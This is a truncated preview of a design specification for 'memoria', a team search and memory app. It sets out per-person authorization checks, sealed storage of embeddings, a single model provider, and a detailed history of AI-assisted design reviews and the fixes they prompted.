oficina / memoria Public

Clone
git clone https://amadan.net/oficina/memoria

Plain git — no account needed to clone.

Download

Download this file

File too large to show in full — download it above (showing a truncated preview below).

1# 🤖 memoria — design
2
3The Oficina suite's memory. One instance per team, at
4`<team>.memoria.oficina.works`.
5
6**Status:** draft 5, 2026-09-04; **amended 2026-09-06** with the suite
7sharing doctrine (Appendix A.4), the TensorX provider decision, §8.4's
8shape, and slice 1's client half. Not draft 6: draft 6 is the eleven
9draft-5 findings, which are still unfixed and still listed in §13.
10
11**Consumed suite rulings.** This spec consumes `oficina/suite`
12`docs/superpowers/specs/2026-09-05-suite-sharing-doctrine.md` at
13**revision 7, commit `2b78680`** — with two amendments adopted since and
14not yet reflected here as a version bump: revision 8 (the module's
15importability, now closed) and **revision 10, which adds `AHEAD`** (§4.1).
16The module this repository pins is `60b01a8`, which is revision 8's merge.
17Gate 9 fails a spec more than one revision behind, so this citation is
18owed a bump the moment the suite's branches merge; they cannot, because
19suite CI is unconfigured (§13). Rulings 1, 3, 4, 6, 7, 9, 14 and 15 are
20cited and never restated (suite ruling 7) — 15 at §5's custody mark, which
21is where "only the `team` rung is team-visible, so custody keys on the rung
22and never on the link" decides what memoria may hold. Not consumed yet: the hand-off
23(suite §7) — §9.1 records why memoria refuses one built on its own
24material — and S8, which needs a designated-area grant memoria has no UI
25for. S6 is cited as a specification; suite §12 step 4 builds it.
26
27Review history, per AGENTS.md §Review. None of these models wrote the
28draft they reviewed; all drafts were written by Opus.
29
30| Draft | Reviewers | Verdict |
31|---|---|---|
32| 1 | GPT Sol (commandcode), Fable | REQUEST CHANGES ×2 — 12 and 21 findings, three structural gaps found by both |
33| 2 | GPT Sol via Codex on a ChatGPT subscription — **it reported its own model id as `gpt-5`, which disagrees with the `gpt-5.6-sol` Codex labelled it; recorded as the discrepancy it is rather than resolved** | REQUEST CHANGES — 4 ANSWERED, 1 REWORDED, 6 PARTIAL, 1 blocker and 6 new findings |
34| 3 | Fable | REQUEST CHANGES — 22 findings. Ten were recorded in §13 as acknowledged and not fixed; draft 4 fixes them. (This row read "none yet" while §13 recorded the review as done; §13 was right.) |
35| 4 | Claude Fable 5.1 (`claude-fable-5-1`) | REQUEST CHANGES — 16 required changes. Draft 5 is those sixteen; §1.6 says where each went |
36| 5 | Dispatched to Fable; **the reviewer reported itself as Claude Opus 5 (`claude-opus-5`), which is the model that wrote drafts 4 and 5.** Recorded as the discrepancy it is, exactly as draft 2's was. If the self-report is right, this review does not satisfy §Review and draft 5 still needs a reviewer that did not write it | REQUEST CHANGES — 11 required changes. 12 of draft 4's 16 findings graded REMOVED; the two the review was told to be hardest on (post-restore, the breaker) came back PARTIAL |
37| 3, §8.3 provider amendment | Fable | REQUEST CHANGES — 4 MAJOR, 4 MINOR, 2 NIT. All applied; §1.7 records what it changed |
38| 3, §8.4 and decisions 13–14 | Fable | REQUEST CHANGES — 5 MAJOR, 4 MINOR, 1 NIT. All applied. It found §8.4's central argument resting on a misreading of §6.5 and §4.1; §1.8 records what it changed |
39| 3, gate 17 + live-key verification | Fable | REQUEST CHANGES — 3 MAJOR, 4 MINOR, 3 NIT. All applied. **It mutation-tested gate 17 itself** and found five idioms the gate blessed, including one that served a declared path outside the session gate; §1.9 records what it changed |
40| 3, suite doctrine adoption (A.4) | Fable | **REQUEST CHANGES — 1 BLOCKER, 9 MAJOR, 3 MINOR, 1 NIT.** All applied. The blocker: §4.1 adopted a custody intersection that was not the doctrine's, could not fail, and left the leak it claimed to close. §1.10 records what it changed |
41| slice 1's S2 client, gates 33 and 21, the merge | Fable | **REQUEST CHANGES — 8 MAJOR, 4 MINOR.** All applied. It found a conflict marker committed into `.gitignore` (which `make ci` cannot see), an egress exemption paid by a test that did not exist, "one predicate" untrue of production, `S7` reintroduced by the merge into the sections that retire it, and four green mutations in the sibling client — including a silent value that rendered a count. §1.11 records it |
42
43§1.2 records what the draft-1 reviews changed, §1.3 what the draft-2
44review changed, §1.4 what the review of the built code changed, §1.5 what
45the draft-3 review changed, and §1.6 what the draft-4 review changed.
46**§1.7 to §1.10 record the suite strand** — the provider decision, §8.4's
47shape, the gate review and the doctrine adoption — which ran in parallel
48on its own branch and merged on 2026-09-06.
49**Draft 5 has been reviewed once, with the attribution caveat in the table
50above, and returned REQUEST CHANGES. Its eleven required changes are NOT
51yet fixed** — they are recorded in §13 under "Draft-5 review, not yet
52fixed", the same way draft 3's ten were, rather than quietly carried.
53Draft 6 is those eleven, and four of them wait on the NEEDS PAUL rulings.
54
55Numbers in §7 are now measured rather than asserted, and recorded in
56`docs/BENCHMARKS.md` with the machine and command. Doing that found draft
572's FTS figure wrong by half.
58
59---
60
61## 0. The one rule
62
63> **memoria never speaks a passage without asking whoever owns it
64> whether this person may see it, right now.**
65
66Draft 1 said *"memoria indexes only what the whole team can already see,
67and it never speaks a passage without re-checking that this is still
68true"*. Both reviewers showed that sentence does not survive contact with
69the suite: "the whole team" is not one fact (§1.2 gap 1), and the
70re-checking was specified for generated answers but not for ordinary
71search (§1.2 gap 2).
72
73The rule above replaces it, and it splits by provenance because the suite
74does:
75
76- **Content copied from a sibling app** — the sibling is the authority.
77 memoria asks it about *this person* on every path that speaks a
78 passage. memoria evaluates nothing.
79- **Content that has no other owner** — Notion, Drive, forwarded mail,
80 uploads. There is nobody to ask, so **memoria is the app of record**.
81 What that authority consists of is §4.2's two facts and nothing else —
82 the asker is admitted, and the document is present and not deleted.
83 **memoria holds no per-person grants**, here or anywhere: holding them
84 would be the authorization model §4.3 says it does not have. Drafts 1
85 through 4 all said "its own grants are authoritative", which named a
86 table that does not exist and never will.
87
88The second rule is Sheets' rule, unchanged: **the bucket never holds a
89plaintext cell.** For memoria this binds harder than it looks, because an
90embedding is a plaintext cell in a costume — §3.1.
91
92---
93
94## 1. Settled decisions (don't relitigate casually)
95
96| # | Decision | Rejected alternative | Who, when |
97|---|---|---|---|
98| 1 | **The suite is the app; the team is the boundary; the implementer declares the process set.** A team's instances of sheets, docs, calendar and memoria are one trust domain. | Four boundaries, one per process — memoria could then hold only person-initiated snapshots, stale the moment taken | Paul, 2026-09-03 |
99| 2 | **Not a doctrine change.** CARLOS apps to date have been single processes, so process and app coincided. Oficina's app is a suite. The doctrine is that the implementer chooses the boundary; this is applying it, not amending it. | Filing it as a family ruling at `carlos/pegamento`, the way home §2.3 filed its divergence | Paul, 2026-09-03 |
100| 3 | **Team-visibility is a CUSTODY rule; the per-asker check is the AUTHORIZATION rule.** Nothing enters memoria from a sibling unless it is team-visible there, which bounds what memoria holds. Who may *read* it is asked of the owning app, per person, per query. | Draft 1's "one ACL: is a member of this team", which conflated the two and left membership drifting across four tables | Paul, 2026-09-03, after review |
101| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer **and on every derived artefact** (widened 2026-09-05 under suite **§8's binding sentence**, which says "every artefact it produced" and means it — ruling 6's own row says "disclosed", so the phrase is §8's and the citation should not borrow the ruling's number for it — an answer is transient, a §5.2 artefact outlives the query and is regenerated when a source changes, so it can carry a different provider from the one that first made it), disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03. **The derived-artefact widening is not his**: raised by the memoria session and adopted into A.4 on 2026-09-05, and he has not ruled on it — §13 |
102| 5 | **The search floor works with AI switched off**, and is the product. **With AI off, nothing leaves the instance at all** — which §3.2 shows is a larger difference than draft 1 realised. | An answer-first product with search as a fallback | AGENTS.md §Authorship, applied |
103| 6 | **Embeddings and FTS5 postings are content.** They never reach replicated SQLite or the bucket unsealed. | Treating a vector as a derived artefact outside §0's scope, on the grounds that no plaintext bytes appear | Fable trust pass, adopted 2026-09-03 |
104| 7 | **Every SIBLING call is a pull. memoria exposes no sibling-facing surface.** Its ingest endpoint serves external connectors only, which are memoria-owned content, not a sibling push. | An outbox per sibling; and draft 1's §9, which specified the push surface this decision forbids | Fable contract pass; corrected after review |
105| 8 | **Provenance or deletion, at `(id, revision)` granularity.** A derived artefact whose provenance stops resolving *or whose source changed* is deleted or regenerated. memoria never fine-tunes. | Draft 1's id-level rule, which left "the Q3 target is X" standing after the source said Y | Fable ingestion pass; corrected after review |
106| 10 | **memoria never does arithmetic. A number comes from a cell, or from Sheets' engine via S6.** S6 takes an enumerated function over cell refs — never expression text — so memoria is never a formula author. | memoria computing and showing its working (a second calculator, arrived at one `mean` at a time); writing a formula into a scratch sheet (a write, forbidden by §6.4) | Paul asked for numeric questions, 2026-09-03; shape ruled by Fable and GPT Sol independently, converging |
107| 11 | ~~**Admission is derived from the siblings.**~~ **SUPERSEDED 2026-09-05 by suite ruling 4** — the home owns identity, the team and the membership roster; instances pull it (suite call 8) and memoria admits from that roster in suite shape, from the owners list in lone shape. S7 is retired. The old rule was right that memoria holds no members table of its own and wrong about where the answer comes from, and it made a guest a member: "at least one sibling says MEMBER" has no value for someone on no roster. §4.3. **The owners carve-out survives the supersession and is still stated rather than discovered:** the platform-configured owners list the app refuses to start without bypasses the roster entirely. It admits operators, is fixed at provisioning, does not grow, and carries a revocation tail nothing measures: the 15-minute figure it used to cite was S7's cache, which no longer exists, and the roster's TTL does not apply to a list the roster never contained. **An owner's removal is a redeploy, and that is the honest statement of the tail.** Under ruling 4 that is no longer an exception to S7 but the whole of lone-shape admission, and in suite shape it sits beside the roster rather than inside it. | Draft 2's own members table, which left a person removed everywhere else still able to read memoria-owned content; and, for the carve-out, leaving it implicit in §2 and §4.3, where drafts 3 and 4 left it and where it read as a contradiction rather than a carve-out | after the draft-2 review, 2026-09-03; carve-out recorded explicitly 2026-09-04; superseded 2026-09-05 |
108| 12 | **Name: `memoria`.** House convention is plain Spanish office nouns. A *memoria* is both a memory and, in Spanish office usage, a written record. | `archivo`; `cerebro`; `base`; anything English | Paul, 2026-09-03 |
109| 13 | **The provider is TensorX, and memoria supports exactly one.** A team owner's choice is on or off, not which — a configurable base URL would let an owner reinstate a proxy while the answer still printed "one named provider". Chosen for EU jurisdiction and open weights, criteria decision 4 did not state, at a known cost in id-pinning and frontier quality (§8.3). | OpenRouter (a proxy: two parties see content); OpenAI direct (better id-pinning, worse jurisdiction and cost) | Paul, 2026-09-04, both halves — *"we go with exactly one for now: TensorX. If we want to swap that later we can."* Swapping the *generation* provider is a code change and a review, not a setting; swapping the *embedding* provider is that plus a full corpus re-embed unless the new host serves the same open weights (§8.3, §13) |
110| 14 | **memoria is a search page, not a chat.** One GET search form, `?q=`, one query in and one page out, with `/documents/{id}` as the only other passage surface. This follows from decision 5, not from decision 3 — §8.4's invariant is what decision 3 requires, and a conversational surface could satisfy it. | A chat UI with citations; a threaded follow-up. Deferred to §12, not forbidden — the invariant forbids the leak, this row chooses the shape | Spec author, 2026-09-04, answering a question Paul asked; **confirmed by Paul 2026-09-05**, parking the conversational surface in §12 rather than forbidding it |
111| 15 | ~~**The fact box calls no model, ever.**~~ **AMENDED BY PAUL, 2026-09-19.** **Paul's ruling:** *"do as much as possible with deterministic analysis, and then attempt to build metadata with the best value models via TensorX that make sense"* — asked specifically whether a postal address, which has no validator, should be extractable by a model, and answering yes in general terms. **The implementation constraints are the spec author's, proposed and not ruled:** extractive only; every value a byte-exact span of a sent passage; a model never touches a validator-backed kind; labels never model-written; model rows marked 🤖 and named; `model.cheap` as the initial tier. §8.8 (the deterministic layer), §8.9 (the model half) | The strict reading, which was the spec author's and not Paul's and which this row carried from 2026-09-14 to 2026-09-19: it made "has a checksum" the boundary of the feature rather than the boundary of the deterministic layer | **The ruling is Paul's, 2026-09-19.** The constraints listed in the first column are the author's and §13 records them as open to his override |
112
113**Three of these are now suite rulings, and this spec cites them rather
114than restating them.** Decision 1 is **suite ruling 1**, decision 3 is
115**ruling 3**, decision 4 is **ruling 6**. They are unchanged in substance;
116what changed is where they live. Suite ruling 7 is why: every app spec
117restating the contract in its own words is what drifted, so an app spec
118cites the doctrine and never restates one. Where a row below still carries
119the reasoning, that is history and not a second copy — the binding text is
120the doctrine's, at `oficina/suite`, revision 7, commit `2b78680`.
121
122**Decision 11 is superseded** by ruling 4, and decisions 13 and 14 are
123memoria's own and stand: suite §8 adopts 13's "the recipient is the app's,
124never the team's", and ruling 3's "never cached, at any scope" is the
125invariant 14 rests on.
126
127### 1.1 The proposal review, and what it killed
128
129Before draft 1 existed, the *proposal* — ingest everything, store a
130per-viewer copy, route to whichever model OpenRouter picks — was reviewed
131and rejected on six counts. Four attached to one choice, *store a
132per-viewer copy*. They remain live traps for anyone widening this design.
133
134- **A per-viewer ACL on a synthesised answer is not expressible.** Sheets
135 §4.5's access is a hand-written grants join; memoria cannot evaluate it
136 and a copy drifts. **Killed by decision 3** — memoria now evaluates
137 nothing, it asks.
138- **Revoke has a weeks-long tail.** Sheets §9.1.1: the outbox drains on
139 wake and on share mutation, "not on a ticker… a failed upsert may wait
140 weeks". **Killed by decisions 3 and 7**: authorization is asked live,
141 never cached, never pushed.
142- **The home cannot query memoria.** Home §0, home §2.2. **Accepted, not
143 worked around** — §9.2.
144- ~~**Blocked on person refs** (home §13 step 4).~~ **No longer true, and
145 it was the more expensive kind of wrong.** S2 needs a *typed asker
146 subject* (suite §3), which in lone shape is a lowercased address; sibling
147 tokens are a switch independent of the home token. So slice 1 runs
148 against Sheets and Docs before any home exists — suite §12 steps 2 and 3.
149 memoria had recorded itself blocked on something that was not in its way.
150 Corrected 2026-09-05 via A.4; §11.
151
152**A citation note.** That review is recorded in session memory and in
153this section; it is **not** in any repo file, so a reader cannot open it.
154Draft 1 cited it as though it were a document. Nothing here should rest
155on it that is not also argued here.
156
157### 1.2 What the two reviews changed
158
159Three structural gaps, each found by both reviewers independently.
160
161**Gap 1 — membership was four unreconciled tables.** Sheets has its own
162`members`, Docs its own `memberships`, memoria its own. The home is
163forbidden from being the authority (home §2.2: "Never holds an
164authorization model") and no home call carries membership between
165instances. Draft 1's §4 claimed a person removed from the team is
166"refused at the door with zero latency"; in fact removing them in Sheets
167did nothing to memoria, and memoria kept serving them Sheets content.
168Draft 1's S2 asked *"is item X team-visible?"*, never *"is this asker
169entitled to it?"*.
170
171The one-ACL ruling did kill per-item drift. It moved the drift onto the
172**membership** predicate, and draft 1 did not notice.
173
174**Fixed by decision 3:** S2 now carries the asker. memoria asks the
175owning app *"can person P see items X at revision R?"*, and that app
176answers from the grants join it already maintains. Membership and
177visibility become one question answered by the only correct evaluator, so
178there is nothing left to reconcile.
179
180**Gap 2 — the search floor bypassed the gate.** `GET /query` returns
181passages with or without `answer=1`, and nothing required the
182passage-only path to call S2. §0's promise therefore held for generated
183answers — the smaller half of the product — and not for search, which
184decision 5 calls the product itself. **Fixed by §8.1:** one gate, both
185paths.
186
187**Gap 3 — external sources had no owner to ask.** Drive, Notion, mail and
188uploads cannot map their native ACLs onto team-visibility, and draft 1
189gave them no re-check at all; revocation surfaced only on a later
190enumeration diff, and memoria runs no timers. Draft 1's claim that it
191"forgets exactly when the sources do" was false for exactly the sources
192§3.3 says make memoria a bigger target.
193
194**Fixed by §0's split:** for this content there is nobody to ask, so
195memoria owns it outright, and §4.2 says so instead of implying a re-check
196that cannot exist. Drafts 1–4 wrote that fix as "its own grants are
197authoritative rather than a copy". That sentence was the defect it was
198written to remove, one section over: it names a per-person grants table,
199memoria has none, and §4.2's authority is admission plus presence.
200
201Beyond the three, both reviews found the same arithmetic errors (§7), the
202same contradiction between §9 and decision 7, and the same over-claim in
203§6.3. GPT Sol alone found the restore-serves-deleted-content ordering bug
204(§7.4) and the missing token-rotation handover (§6.2). Fable alone found
205that the README was false about egress volume (§3.2) — the single most
206product-damaging finding of the two.
207
208### 1.3 What the draft-2 review changed
209
210Draft 2 was reviewed by GPT Sol via Codex. It confirmed five fixes as
211answered (the search bypass, the pull/push contradiction, the barrier
212count, the rotation protocol, the corpus-count inconsistency) and found
213one blocker plus six live findings. Draft 3 answers them as follows.
214
215**The blocker is not mine to close, and that is the honest position.**
216memoria declares the suite one trust domain and pulls plaintext bodies
217from siblings. Three source specs currently forbid exactly that — home
218§2.2 *"Never federates. Data does not cross an instance boundary."*,
219Sheets PRODUCT.md principle 3 *"Never design a flow that implies data can
220move to another instance"*, Docs §8.2 *"'Sharing is membership' forbids
221data crossing the instance boundary."* **memoria cannot overturn another
222app's settled decision in its own table.** Decision 1 is Paul's ruling and
223stands, but it binds Oficina only once the source specs adopt it. Threads
224are open (§13); until they are answered, slice 1 is blocked on agreement,
225not on code.
226
227**"Nothing left to reconcile" was still false.** S2 fixed sibling
228content, but admission used memoria's own members table and so did
229memoria-owned content — so a person removed from Sheets and Docs, and left
230in memoria, could still read the team's Notion, Drive, mail and uploads.
231**Fixed by decision 11:** admission is derived from the siblings.
232
233**A stale revision is not a denial.** Draft 2 mapped it to
234`NOT_VISIBLE`, which §4.1 silently omits — recreating the
235plausible-empty-list failure the same draft claimed to have removed.
236**Fixed by adding `STALE`** (§4.1), which withholds loudly and refetches.
237
238**S3 could not do what it promised.** It took `(id, revision)` with no
239asker, yet claimed the sibling "re-runs its grants join at fetch time".
240There was no person in the call. **Fixed by deleting the claim, not by
241adding a person:** S3 takes no asker, and §6.1 spells out why — custody is
242person-less, so the call that fills the corpus can be made at all, and a
243per-person S3 would have made ingest impossible.
244
245*This paragraph said the opposite until 2026-09-05 — "S3 carries the
246person ref too" — while §6.1 three sections later said it does not. Both
247could not be right, and the summary was the wrong one. Caught by the suite
248doctrine's review of memoria (A.4), which is the third time in this
249document that a §1 summary and its own body have disagreed.*
250
251**Derived artefacts had no algorithm for external or mixed provenance** —
252S2 exists only at siblings. **Fixed** in §5.2.
253
254**Restore had no durable deletion state.** Replaying tombstones from a
255restored backup replays a log that predates the deletion, and retiring the
256superseded snapshot leaves a restored database pointing at a blob that is
257gone. **Fixed** in §7.4.
258
259**Live authorization had no availability design** — no deadline, no
260concurrency policy, no partial-result contract, on the product's primary
261path. **Fixed** in §6.5, and it is the finding most likely to change the
262product rather than the spec.
263
264**The gates were weaker than the claims.** Gate 5 proved an
265authorization call happened, which stays green with a constant `VISIBLE`
266or the wrong person ref. **§10 rewritten** accordingly.
267
268One finding was withdrawn by the reviewer on its own second look (S2
269transport failures needing a separate finding), and its substance is
270folded into gate 6 anyway.
271
272### 1.4 What the code review changed
273
274Slice 0 was built, then reviewed by Fable — the first review of the code
275rather than the design. It found the spec broadly honest and the sealed
276store real, and the gates that were supposed to prove it mostly unable to
277fail. Three consequences reach this document.
278
279**§3.2 gained two entries.** The sign-in dial, which made a claim in §3.6
280false; and the `external_id` oracle, which put a plaintext-derived
281identifier in a column §3.2 described as coordinates.
282
283**§3.6's AI-off sentence was wrong.** "Nothing leaves this instance" is
284not true of an app whose sign-in asks a stranger's domain a question.
285"No document leaves" is, and is still the claim worth making.
286
287**§7's chunker description was aspirational.** What was built dropped
288headings in the commonest Markdown form. The spec now describes the
289chunker that exists.
290
291The general lesson, and it belongs here because §10 is built on the
292opposite assumption: **three of five gates marked "mutation-tested" could
293not fail for the thing they named.** A gate is a claim about the world,
294and an unmutated gate is an unverified claim — including, twice on this
295branch, a gate whose subject had been deleted while it stayed green.
296
297### 1.5 What the draft-3 review changed
298
299Draft 3 was reviewed by Fable: 22 findings, REQUEST CHANGES. Ten were
300recorded in §13 as acknowledged and not fixed rather than quietly
301carried, and draft 4 is those ten: **six weak predicates, two plain gaps,
302one warm-up that could not be made, and one correction made inside the
303draft itself.** Draft 4 wrote "those ten" over a list that added to nine,
304because the warm-up and the correction were folded together; they are two
305items and are counted as two below.
306
307**Six were a predicate that could not fail.** `MEMBER` meant "known to
308this app", so a guest satisfied it. `MIXED_UNITS` could not fire on three
309cells formatted `General`, so a wrong average got certified. The circuit
310breaker's "*everything*" fired on the routine case, so its notice would
311be learned and ignored before the day it was true. Gate 2 named "a
312threshold" and never gave one. Gate 4's credential half asserted the
313absence of a link the test app never sends. The S7 cache had no TTL, so
314it took `rastrillo/auth`'s 30 days by omission. Each is AGENTS.md's rule
315about guards written to pass, arriving in a different costume — and the
316missing TTL is the other rule as well: a default is not a decision, the
317way a failed count is not a zero.
318
319**Draft 4's answer is to make each of them fail by default.** A unit is
320certified rather than contradicted (§8.7). Admission requires a positive
321statement of team membership, and a sibling that cannot make that
322statement admits nobody (§4.3). A gate asserting an absence must first
323assert the presence of the thing whose absence it checks (§10). Where a
324number was missing, draft 4 gives one and says what it costs.
325
326**Two were plain gaps rather than weak guards.** S2 had no value for a
327sibling that is *behind* memoria, which a restore produces and which fell
328through to the one silent value — fixed by `AHEAD` (§4.1). And derived
329provenance was not transitive, so two hops laundered what one hop cannot
330— fixed by flattening provenance to roots at generation time (§5.2).
331
332**One was a warm-up that could not be made.** §6.5 had memoria fire a
333warm-up `S7` on its own wake. `S7` takes a person ref and there is nobody
334there on a wake, so no fixture could ever have received that call. The
335warm-up is an `S1` poll now, which is the call that already has no asker
336— and which a gate can therefore observe (gate 24).
337
338**And one is §1.4's lesson repeating itself inside the same draft.** The
339warm-up error is draft 2's per-person `S3` again, made three sections
340after the correction for it was written, in the same document, by the
341same author. It is counted separately because it is a different kind of
342finding: the item above is a call that has to change, this one is the
343observation that writing a correction does not inoculate the next
344section against the mistake it corrects. §10's two rules exist because of
345it.
346
347### 1.6 What the draft-4 review changed
348
349Draft 4 was reviewed by Claude Fable 5.1, which wrote none of the drafts:
350REQUEST CHANGES, 16 required changes. Draft 5 is those sixteen. Four
351groups, and the first is the one that matters.
352
353**A fix that renamed its problem instead of removing it.** Draft 4
354rewrote §8.1's circuit breaker because draft 3's fired on the routine
355case, and the rewrite's prose promised "a property of the sibling, not of
356one asker" — while its predicate still counted zero `VISIBLE` across
357whoever happened to query that day. A 24-hour outage of `UNKNOWN`s
358therefore tripped the *refusal* breaker; three Docs-only members querying
359on a day the Sheets user was away tripped it too. The predicate counts
360`NOT_VISIBLE` now, and the signal is a per-asker transition (§8.1). This
361is the third time this project has shipped prose that claimed more than
362its predicate delivered, which is why it is first.
363
364**A silent-omission hole in the fix for a silent-omission hole.**
365`AHEAD` was added in draft 4 to stop a sibling's restore reading as an
366empty list. Draft 4 then specified no reconciliation: chunks at revisions
367the sibling no longer has were withheld one at a time, forever, while
368still consuming top-k — so a page of 50 could render nearly empty with no
369notice, the cardinal sin arriving through the door `AHEAD` was cut to
370close. §4.1 now specifies the re-announce as a complete statement,
371retirement under gate 7's rule, revision override in either direction,
372and the removal of a reconciling source from the ranking. Gate 27 is new
373and holds all of it.
374
375**Three contradictions the drafts carried rather than resolved.** §8.7
376said both that S6 is called only when units are certified and that S6
377returns `UNIT_UNKNOWN`; memoria certifies now and S6 does not (§8.7).
378§2 said memoria holds the owners list and holds no roster four lines
379apart; the owners list is not a roster and decision 11 now carries it as
380a stated exception. And "memoria's own grants are authoritative" survived
381in three places after §4.2 established there are no per-person grants —
382the same defect draft 3 shipped between §2 and decision 11, relocated
383(§0, §1.2, gate 18).
384
385**Nine gates that could not fail for the thing they named,** which is
386§1.4's lesson landing on §10 itself: gate 2 asserted an absence with no
387presence assertion, gate 4 named a route from memory, gate 23's
388concurrency half was always-red or never-red on its own fixture, gate 24
389raced the first query, gate 25's field-name regex let `principal` and
390`who` through, and gate 26 named the instance key where the code
391fingerprints under the DEK — verified in `internal/memoria/store.go`,
392which calls `s.sealer.Fingerprint`, and the sealer holds the DEK. A gate
393that goes red on correct code is worse than no gate.
394
395### 1.7 What the provider review changed
396
397The §8.3 amendment — OpenRouter out, TensorX in — was written by Opus and
398reviewed by Fable, which returned REQUEST CHANGES with four MAJOR findings.
399Two of them are the same mistake in different clothes, and it is the
400mistake §1.4 is about: **stating a rule and then breaking it in the
401paragraph that states it.**
402
403**§8.2 wrote a pinning rule its own selections failed.** The rule — a model
404id that can move under a team without the team changing it cannot be
405printed on an answer — is right, and generalises `openrouter/auto`'s
406disqualification properly. Then it selected `moonshotai/kimi-k3` and
407`z-ai/glm-5.3-flash`, neither datestamped, both plausibly aliases over
408dated checkpoints. The fix is a datestamped id where one exists, gate 30's
409canary where none does, and §13 recording that the vendor's id-immutability
410policy is unread. The draft had even quoted the one datestamped id in the
411catalogue as evidence — and it was the model it did not pick.
412
413**§8.3 claimed as established what §13 called untested**, three paragraphs
414apart. Worse, the verification it proposed could not have established it:
415the live call settles whether one model *name* is proxied, not whose GPUs
416run the weights. "One contractual counterparty" is not "one organisation
417sees the corpus" — a subprocessor sees content in §3.2's sense — so the
418claim is now written as narrowed rather than closed.
419
420**§7.2 specified a gate that could not fail.** It said a mutation of the
4214096→512 renormalise would be caught by watching recall fall. But cosine
422similarity is scale-invariant: against a true cosine, skipping the
423renormalise changes no ranking, and the gate stays green forever. The spec
424had never said whether search computes cosine or a raw dot product. It now
425says dot product — which is what §7.3's flop count always assumed — and
426gate 28 asserts unit norm deterministically instead of inferring it from
427quality. This is the fourth gate in this project to have been written in a
428shape that could not go red, and the first caught before it was built.
429
430**Decision 13 exists because of this review.** The amendment named a
431provider in §8.3 without recording the ruling in §1, which AGENTS.md says
432is how a settled decision gets relitigated in a drive-by.
433
434The general lesson, distinct from §1.4's: **a rule and its first
435application should be reviewed by different people.** Whoever writes the
436rule has just persuaded themselves, and is the worst-placed reader to
437notice that the very next paragraph fails it.
438
439### 1.8 What the second provider review changed
440
441The §8.4 amendment — *memoria is a search page, not a chat* — was reviewed
442by Fable, which returned REQUEST CHANGES with five MAJOR findings. The
443ruling survived; the argument for it did not, and the way it failed is
444worth more than the ruling.
445
446**The case was built on a misreading of this spec.** §8.4 claimed a chat
447could not be built correctly, because re-authorizing a transcript each turn
448would breach §6.5's deadline. §4.1 caps a batch at **256 pairs per call**
449and §6.5 says **one page is one round of concurrent calls, the floor is the
450slowest sibling and not their sum**. A four-turn transcript of eight
451passages is 32 pairs: one batch, one round, the same floor as a fresh
452query. A correct chat is affordable. The draft had also conceded the point
453in the act of denying it — *"re-authorizing the whole transcript on every
454turn is the only correct version"* says a correct version exists.
455
456**Its other argument proved too much.** *A chat transcript is a cache of
457authorized passages* — true, and equally true of a search results page left
458open in a tab, and of `/documents/{id}`, which renders a whole document and
459stays open indefinitely. That is a fact about rendered pages, not about
460chat; it now sits in §3.2's leak list where it applies to everything.
461
462**What survived is narrower and enforceable.** The real rule is about
463**re-speaking**: no passage crosses a request, in a response or in a model
464prompt, without §4.1 in the request that carries it. That is decision 3
465applied to rendering, it is what §8.5 already said about the model, and
466gate 32 asserts it against the prompt builder. Carrying query *text*
467forward breaks nothing.
468
469**And the shape is a choice, so it is recorded as one.** Decision 14 rests
470on decision 5 — the search floor is the product — not on decision 3. A
471conversational surface that keeps the invariant is deferred to §12, to be
472argued on its merits. The row is attributed to the spec author with Paul
473unconfirmed, because unlike decision 13's two halves it was not his ruling.
474(He confirmed it on 2026-09-05; the attribution stands as written, since
475who *made* a ruling and who *approved* it are different facts.)
476
477The lesson, distinct from §1.4's unfailable gates and §1.7's rule broken in
478the paragraph that states it: **a preference will always find a rule that
479seems to compel it.** The search page was the right answer for
480decision 5's reasons. Reaching past those for decision 3 made a choice look
481forced, and cost two misread sections to do it. When a constraint arrives
482conveniently, check it against the text rather than the memory of the text.
483
484### 1.9 What the gate review changed, and the rule it produced
485
486The branch's third review covered gate 17 and the live-key verification.
487Fable returned REQUEST CHANGES with three MAJOR findings, and one of them
488is the most useful thing any review has done here.
489
490**It mutation-tested the gate itself.** Gate 17 shipped with a comment
491naming three mutations, each verified red. A reviewer took the test into a
492scratch copy and tried five more — all ordinary chi and `ServeMux` idioms,
493none exotic — and **all five passed green.** `r.Route("/chat", …)` was
494blessed by the declared `"/"` inside it. `r.With(mw).Post` was invisible
495because the receiver is a call, not an identifier. `r.Delete` passed on a
496path declared only for GET. `r.Handle("/")` bound every method at once. And
497`mux.HandleFunc("/documents", …)` served a **declared** path while
498bypassing `requireSession` — worse than an undeclared route, because the
499allowlist actively approved it.
500
501**The rule that follows, and it belongs in AGENTS.md:** mutation-testing
502your own gate tests the mutations you thought of, and those are the ones
503you already defended against while writing it. Three green mutations chosen
504by the author is not evidence the gate works; it is evidence the author is
505consistent. **The mutations must be chosen by someone who did not write the
506gate.** This is §Review's argument, one level down: the reviewer of a rule
507should not be its author, and neither should the adversary of a test.
508
509The rewrite keys on method *and* path — which §10's own list had declared
510all along and the test had not implemented — and separates the chi and
511`ServeMux` namespaces. Eight mutations now, all verified. The rewrite also
512nearly shipped its own bug: following an arbitrary selector chain to find
513the receiver made `r.URL.Query().Get("err")` resolve to `r`, reporting two
514query parameters as undeclared routes. Caught by running it.
515
516**The other two MAJORs are the familiar shape.** §8.3 still asserted
517TensorX "runs the weights it serves" on the strength of a 403 that had no
518control probe — the reading recorded was the middle of three, and the worst
519one is that the model name is in their routing table and merely gated. And
520two of Paul's four rulings were announced as recorded in QUESTIONS while
521being in neither §1 nor §13, with the interpretation of the load-bearing
522one living only in a commit message. That is §1.8's failure by omission:
523the strong reading asserted where reviewers do not look.
524
525### 1.10 What the adoption review changed, and where an adoption goes wrong
526
527A.4 was reviewed three times in the suite repo before memoria adopted it.
528memoria's *application* of it was then reviewed once, by Fable, and came
529back REQUEST CHANGES with a blocker and nine majors. The distribution is
530the lesson.
531
532**The blocker was a rule invented while citing the section that forbade
533it.** §4.1 needed the custody intersection. The doctrine puts it in the
534**app of record, inside S2**: the sibling runs its grants join for the
535named asker and then answers `NOT_VISIBLE` for anything not team-visible.
536memoria wrote instead that it would render a passage when S2 says
537`VISIBLE` **and** the item was team-visible *when acquired* — a rule that
538is **vacuous** (everything memoria holds came through S3, which serves
539only team-visible items, so the second half is true of every held item),
540that **does not close the leak** (a document downgraded from `team` to
541`granted` with the asker's grant intact passes both halves), and that
542**argued against the doctrine's own mechanism** as a ruling-3 violation.
543The doctrine had explicitly retracted that reasoning — *"a later
544visibility change is exactly what the defect turns on"* — in the section
